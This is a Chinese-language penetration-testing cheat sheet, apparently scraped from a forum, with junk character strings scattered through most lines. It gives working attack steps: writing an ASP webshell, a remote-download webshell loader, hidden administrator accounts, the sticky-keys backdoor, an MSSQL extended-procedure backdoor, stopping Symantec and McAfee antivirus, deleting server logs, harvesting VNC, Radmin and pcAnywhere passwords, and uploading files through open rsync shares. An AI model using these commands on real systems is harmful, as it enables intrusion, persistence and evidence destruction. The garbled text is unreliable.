渗透技巧总结

admin

旁站路径问题
* G: g+ A% ~2 E1 R9 ?4 a; U- [8 p1、读网站配置。
+ n# N0 j7 o, {  ?& I# s8 h; a2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
5 O! `2 I" |  m2 y        

8 Y8 E! L/ J7 X0 D4 D8 |5 L! ZMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
9 L1 }3 o0 q/ m; n% _, @        WScript.Quit
% P' S$ E; q) h0 ^End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
% V2 u' K8 V7 N) MFor Each obj3w In objservice
3 R) J, ~3 e3 G& Q        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
! A' ^% z- M3 `0 [
3 g3 b7 Z( c) V9 ~       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
. k; d1 b5 _5 g3 ?, T6 V! J                If Err

5 c' e2 `* k, t/ L<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
, G, ]- @* W; G6 Z     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
" B; ~9 L& [! `# S4 T& c3 Z                        
  G9 P- O2 E: Z  k9 n
/ S2 L8 S$ J: T: r- y" s$ d  y# yWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
4 v8 b+ n9 G5 X; Z: Z& l) o                Next
# A, Y. U& j0 p; s( B! u      
  V" ~, K* h. W# e. ]
" ]2 }6 F/ z0 C! U* g8 e         WScript.Echo "ath            : " & VDirObj.Path
        End If
  A( t/ K2 I/ ?* qNext
: u- L9 w  ?# K复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
6 p& r/ ]: j  x4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 ~2 \6 t4 J( K) j& \* A  s—————————————————————
WordPress的平台，爆绝对路径的方法是：
/ w* f9 ~/ M' w. [4 F! Y% Hurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
) C$ _; k4 G2 X: dphpMyAdmin/libraries/select_lang.lib.php
$ `% o( o! x; [9 R* z7 H# @0 {' o% UphpMyAdmin/darkblue_orange/layout.inc.php
( {: y! ?0 Q& E$ s0 L& `phpMyAdmin/index.php?lang[]=1
+ ?7 y# u% N. b' G2 m$ F! rphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
' _2 v: X+ r/ k) mnetsh ras set user administrator deny #禁止administrator拨入该VPN
, ~9 R/ H8 ?) {" z! n, J. onetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
! I7 u0 d- k) W7 H3 r: rnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
" @& F3 x( i; @/ G, F" _. U3 ^netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
, e* ^0 p/ D0 L+ L命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
9 R  G9 T% N3 r6 lexec master.dbo.sp_addlogin test,123
* o; A1 l# O  K( Z, XEXEC sp_addsrvrolemember 'test, 'sysadmin'
2 P0 P: I, ]% d* |然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
, Q# r7 _/ i6 U) w( A" C$ q! ^
另类的加用户方法
* o* }  R6 m- x0 t' G( u  c  }在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ A0 I- `+ l% h0 zjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

) b# Q' P- F* ]+ Q( P$ ?vbs:
, o+ n# @, p( Q$ ^Set   o=CreateObject( "Shell.Users" )
  o' V' [; z) w% @$ tSet z=o.create("test")
! f, X$ g8 C/ x6 `# M/ bz.changePassword "123456",""
z.setting("AccountType")=3
& b' g4 o, i# y——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
+ G7 J! Q4 }0 M$ x! N+ AXP 运行mstsc /admin
: z( L" X0 R5 L# k1 H2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
" ~! l# k: x% Q+ O/ a3 ~8 a处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
5 {# v4 w4 {5 M/ a* anet stop "Symantec AntiVirus Definition Watcher" /y
5 z* I/ T9 d6 d0 {8 W$ e% \net stop "Symantec Event Manager" /y
& I& x) |9 w% Y2 D: ^# j+ Snet stop "System Event Notification" /y
$ v$ P7 o0 P) d- ?5 w) A& E/ Qnet stop "Symantec Settings Manager" /y
* I$ L4 L2 J/ A! w/ o/ S
卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
* Z0 a0 [  H- O' U" K- icopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( a. \/ k; C& O9 Ycopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
5 m, |4 v0 g. U, C3 J7 V——————————————————————
% d) u$ x2 p+ n隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
& R) Z3 Q" E# W; y) e" X2、导出注册表SAM下用户的两个键值
# z6 D: X6 ^; ?$ s( h" e* }! O3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
3 y+ b( Q; m0 `6 q* b5 G5 @5 C4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
9 W( W5 ~! |# Z3 l4 o8 q4 p8 nMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
& {% W: S/ r. R$ `0 C2 b日志处理
# y) i; U- r6 Y4 p- v4 N7 \1 A7 ?# sC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
/ h* L9 i9 X' Xex011120.log / ex011121.log / ex011124.log三个文件，
" f+ W7 c5 J- D1 Y直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
4 m& m3 Y8 p6 \" G  e用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
$ a* S9 N. D4 h. J) F9 H" XMSSQL 2000位于注册表如下：
8 B/ a; i& R7 k. d' ~HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
+ z! N8 p2 R! l& N% z找到接接过的信息删除。
1 G" N5 T. E0 \" Q0 E8 VMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
8 m2 o4 a/ E- M; Y
! f. W6 t; ^/ ]+ x3 bServer\90\Tools\Shell\mru.dat
: m) H+ t, k2 m2 y—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
. ?$ Z! m. i2 g' |
2 p# n8 M" k- K$ _<%
" X6 G% _1 K# e  v3 w6 jSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
( W0 [; S0 v" [  j; ]' XWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
3 k' B; `4 t4 B; `3 y.Send
/ I6 e$ c2 r, a# YGetRemoteData = .ResponseBody
End With
1 n' R% ]# |' P: }  T8 K" e# W( P9 FSet Retrieval = Nothing
( g0 P; e3 W" sSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
- g0 K2 X0 K0 j& K.Type = 1
( C1 b1 ^6 x+ ^% i/ A! B; @4 j7 r.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
$ F- s1 P+ }+ j$ VEnd With
/ J+ F, O, n& B0 \+ c3 cSet Ads=nothing
End Sub
5 z+ v4 r" b2 v3 k/ ~0 H& _# d, r$ e; A
) E6 \# t( {) f4 peWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
/ D% [- T! ^1 d4 W3 f%>
+ P& f2 G% i$ P0 [+ ^7 x
5 c. ~7 [/ b* C: z5 L9 x) KVNC提权方法:
  m" k% |' e+ y. q. a. ]# `" \. Y利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
9 c1 y' ~& f$ Y; w注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
9 F, r$ b( ~# r- U" Cregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
1 V6 @/ j2 D& ^  i* d" rregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; m0 [2 K' u3 ?6 L+ b8 m- A# I2 iRadmin 默认端口是4899，
6 g, k1 \" X& _) [0 j- Y" M, J" p7 \HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
+ y- E$ }5 D, [" `) I1 XHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
4 m2 D- x0 s4 _1 K如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ w/ I" z. w0 {' K) p( e4 S: W8 ?保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
$ U/ i1 ~5 `7 A' S# X, dUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
, P8 d9 s* E) U; r; p搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
( Y" x6 K% {0 J7 G7 bWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
" D: o) f, a7 m; U% \7 N; ^来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
" U6 y% F! b# q$ ~% X3 y  a5 C没有删cmd组建的直接加用户。
/ ~! ^5 k5 q# s/ g/ [" J" `7i24的web目录也是可写，权限为administrator。
& O6 @9 {% k6 S/ P6 ^
1433 SA点构建注入点。
<%
1 @! D" o  G. Q, B3 M8 f* ~strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
7 P- E* D3 e. L2 ^2 i: n( qstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
  u. ~8 [! m5 F6 ZstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
1 p4 V+ c3 p) {8 q$ r/ a8 x2 U! l
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
3 ]2 y4 q2 r' w, Z1 R2 M7 I
3 _4 m6 F% u! estrSQLDBName & ";"
( |$ {+ A& d% A! k$ n4 y- H  O, T- Tconn.open strCon
; N% i1 F5 }9 ddim rs,strSQL,id
4 s9 @) N0 o. V6 G! ~set rs=server.createobject("ADODB.recordset")
9 A" O  Y8 q6 P4 k; c" Wid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
' }% p& t# G% O. ?一.ldap渗透技巧
1.cat /etc/nsswitch
3 ]6 e4 a# a# a/ j! I8 j+ ?看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
5 y$ k) n* o8 E" g# c' Kbase ou=People,dc=unix-center,dc=net
! H- G+ d# }% k# @4 x1 t找到ou,dc,dc设置

- s! S5 X; T9 `/ P3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 C6 ?! u& n% L, T  \" d2 \
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 \* ?9 @1 {. u5 c有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 j$ X) x$ Z5 E4 v. H* A% r: ^# q
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. h2 t* |6 v5 {6 J' j) F
( w7 `* w. p3 P7 M: h
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
2 Z: l# C7 e- D: h: v" l看看密码登录策略我们可以看到使用了file ldap模式
5 v- f8 T, j) J2 g& c
2.less /etc/ldap.conf
4 T& o# R  g2 R* f" Wbase ou=People,dc=unix-center,dc=net
# Y% z- F5 Q8 h, e+ y* X找到ou,dc,dc设置
4 [+ Y& e3 n2 d* L* z' F; _
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 m8 y; h  `/ u6 i* |: B+ e
- Y7 D* P$ s6 h! ~+ o"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 o3 O- `" {( ^. O& j* j7 P+ L4 ^

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! W8 \8 L( }9 R) ^# L+ S! v
" z1 t( @( |/ p3 t$ f渗透实战:
' h) [( d$ S6 l1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
* P9 f7 E8 I- f- r7 k) V$ vversion: 1
! M0 K4 b9 d4 N6 ^. m! y5 q) j3 udn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
, q2 w6 G1 d& p4 g) A* Guid: manager
  \3 M. t& I- ~objectClass: inetOrgPerson
8 ~* h4 A4 b5 nobjectClass: organizationalPerson
objectClass: person
4 S# t9 k7 P) y  K, c& i, UobjectClass: top
' _& S( |8 R+ S1 [; j  Qsn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
& U" w7 H0 W! |' }$ |& zsn: superadmin
cn: superadmin
1 ~5 N/ U; g; L1 Q; H
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
: `3 f5 V& W/ pobjectClass: top
sn: admin
$ y4 E9 t! p' \' |2 l5 o* @3 ucn: admin
( K" v2 |; P" Y2 B% f7 O! o4 g, P
6 s0 f# x$ t% I6 f3 @dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
& I  n( c; i7 T# @7 l$ ouid: dcp_anonymous
2 q& R4 _8 T8 HobjectClass: top
# g, o( v$ [9 }: L( o; v2 H: r. xobjectClass: person
objectClass: organizationalPerson
5 \% p/ j6 s) s# T* g! [/ QobjectClass: inetOrgPerson
, U" i) E) n+ C6 Nsn: dcp_anonymous
+ ]  o; U: Z4 f1 Dcn: dcp_anonymous

6 q2 T) [0 L: S" M: A2.查看基类
  q4 L" }! u$ b  Lbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
7 u0 w1 ]' u* b8 M6 i- C+ b
# J1 x4 p8 u  {. [8 X) A2 S; emore
" a+ c% o. ~% c- M# ^version: 1
dn: dc=ruc,dc=edu,dc=cn
6 {/ O* d8 q% g6 t% X/ j! m2 W+ t( s; q& gdc: ruc
objectClass: domain

3.查找
+ i; ~9 V" D9 I, U  D8 {6 kbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
) c" V* b, J7 ?: K2 _* `, o3 N% j& Yversion: 1
dn:
objectClass: top
1 G0 @$ l. C3 unamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
" Q7 Q8 T! `* K- M7 P0 |5 BsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
: M) ?/ x) }% F, `" ~% UsupportedExtension: 2.16.840.1.113730.3.5.3
" L' q0 @* |, M/ H8 {+ B7 |supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
  t/ X0 p$ Q% }+ B: X, fsupportedExtension: 2.16.840.1.113730.3.5.4
7 i( d* C0 _9 {0 G! r+ u" bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
( i; I: Z. P( i: _3 I2 `. R( psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
3 c( q4 U+ H, N; o) b0 EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
$ e5 k2 ^* K2 y6 r7 r/ FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
3 `/ h0 K2 V1 [5 W, s$ U5 x! w7 L# csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
7 G- O; t% ^( x. \6 b0 N" msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
, p+ `5 G1 B' |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
1 `$ j7 t; [0 @; [supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
% Z3 s8 Z# o; v7 \supportedControl: 2.16.840.1.113730.3.4.16
/ S' m% k1 m5 P" RsupportedControl: 2.16.840.1.113730.3.4.15
+ r' r6 M& c2 F4 K+ CsupportedControl: 2.16.840.1.113730.3.4.17
' ]  b6 j* l- m/ h# n) ysupportedControl: 2.16.840.1.113730.3.4.19
) F' U+ D, |4 T8 t3 ]( T' d$ s, [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
& M- e# O& |) W) T2 RsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
, e( j. F! F7 a' xsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
. U: h5 j' _# w6 [# esupportedControl: 1.3.6.1.4.1.1466.29539.12
; Y. B4 e8 e: |, h7 o. v; r* q, lsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
( B6 d- z3 e. \# G0 \0 H+ lvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
: @( U* T! e& |/ Y) L0 Gnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
, v  d3 _; K  Z  T! _supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
% s' ]3 W; A1 g$ B7 o, v' ^8 h4 nsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
' s% e# r; C2 ~; t# B- xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
( M4 q+ |+ {1 FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
, {8 n9 a; [$ y" m) x3 }0 csupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
- o  [6 I1 }3 E, r/ E8 l  |4 ^; TsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
( l: T  M: S2 z0 e% G5 WsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ u3 M7 }9 ~7 W' ]7 PsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
# h- G8 o# I* w% U- nsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
) h4 N) m2 @1 K3 m& ~. ?+ \supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
) Y4 x9 _2 z- f6 P$ PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
$ b& c9 b# b4 csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
. e% D3 u% i+ t* [0 JsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
( L! D/ e$ t; {1 ^. B0 HsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
1 [# Z6 `6 s2 J' @  ssupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
4 _5 M6 s9 B+ _* h: N3 D: m4 DsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
) f1 ~% A2 U2 Y) LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
& t# Z& }% i4 `/ w- T9 n9 }supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
% P* j& f. f9 N0 g9 W/ GsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
2 G6 `$ ?' @2 ^" O; ^supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
1 g0 ?$ a8 c7 }, n; S) _supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
3 [( u$ C  z# T) xsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
: i9 _$ B$ m1 J; L" WsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
; s1 v& Z. |$ o, gsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
5 L' `1 W; w; A. D$ l8 L& AsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
2 ]0 W% G+ l" J. C  i$ l$ RsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
3 v7 a4 [* P  j2 Z3 a' T- ssupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
: H' q. j. r# ?7 d( l1 q8 RsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
( c$ F" ^. g5 c9 S2 E: ~% tshowmount -e ip
列举IP
0 M+ R0 L& l- t——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
0 H7 f- T5 u, g) v0 u& R# ?! Hrsync 210.51.X.X::
6 @2 l* Q: ~. l, T9 I9 ]+ h. F* t" _1 Mfinance
  x1 [# [& p6 e  T( L% `$ c5 ?img_finance
+ {2 _9 H- ~; Q: e" ]auto
img_auto
html_cms
img_cms
ent_cms
ent_img
3 e8 o, k* l0 T) F5 j2 K, s  qceshi
res_img
res_img_c2
chip
/ X( o1 x" {1 X9 ?' h1 kchip_c2
# z- s* e+ `8 V) r- A' Zent_icms
7 w  r; ~' I& ]1 H% h3 Ggames
& G2 R7 |# ~5 H* xgamesimg
media
( [+ t' b0 l# F# `2 Fmediaimg
! R# [0 s, z% M  u& P$ sfashion
) {8 ]" p( A2 _( e% sres-fashion
res-fo
taobao-home
res-taobao-home
house
( R( {, v6 r4 x2 o  U- d& ]res-house
4 j9 v+ l2 u; _3 Qres-home
res-edu
7 o. _) v8 A6 Pres-ent
res-labs
res-news
res-phtv
0 I+ F9 \8 c) {1 Q5 Mres-media
home
edu
& F9 A/ c* ^, ?" W! @news
res-book
' ~% s( A( ]; `. I2 _* ^2 ~4 r1 Y
看相应的下级目录(注意一定要在目录后面添加上/)


) d+ f+ B1 C; B, Irsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
5 z9 N6 Y9 t% R7 p$ ursync 210.51.X.X::edu/
% k# Q" p% W# ^* }7 v
3 L# R$ s7 L- a; X. j6 d4 m2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
* q1 y( h9 s+ V& t- D7 Y
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
/ ]2 e( A; z* y( q8 U; Lhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
) d; [2 s+ }( G9 ^- }' X' l' jnc -vv baidu.com 80
. O6 {% B  a& J3 kGET HTTP://www.sina.com / HTTP/1.0
5 A, p8 b6 ~- dGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
1 z" H8 _) y& P6 e, Z$ f, b* Issh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
% k$ g& G: n; ?9 O+ ?( @6 \8 K# L) X
6 g; a* Z7 x" T6 Q3 ^' ]5 p六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
/ T$ O5 Z& l+ S5 c4 P" }
/ E/ ~4 S' K& N& {7 Q, a15&catid=32:languages&Itemid=47

重新设置密码
& J4 s, _$ d. ^4 q7 _! A6 }  Q1 Sindex.php?option=com_user&view=reset&layout=confirm

& V* v3 B! B8 J! d" P6 r七: Linux添加UID为0的root用户
* ?6 _5 A: e2 I! ^6 Xuseradd -o -u 0 nothack

# @$ z! y  B1 k( v) L7 b. }八.freebsd本地提权
[argp@julius ~]$ uname -rsi
# U# k5 F; o5 E  l: @- j  z* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
) ?. [0 J$ v4 Y2 t# Q1 I- P* [argp@julius ~]$ id
$ d1 V3 _7 z+ v" Y  h* uid=1001(argp) gid=1001(argp) groups=1001(argp)
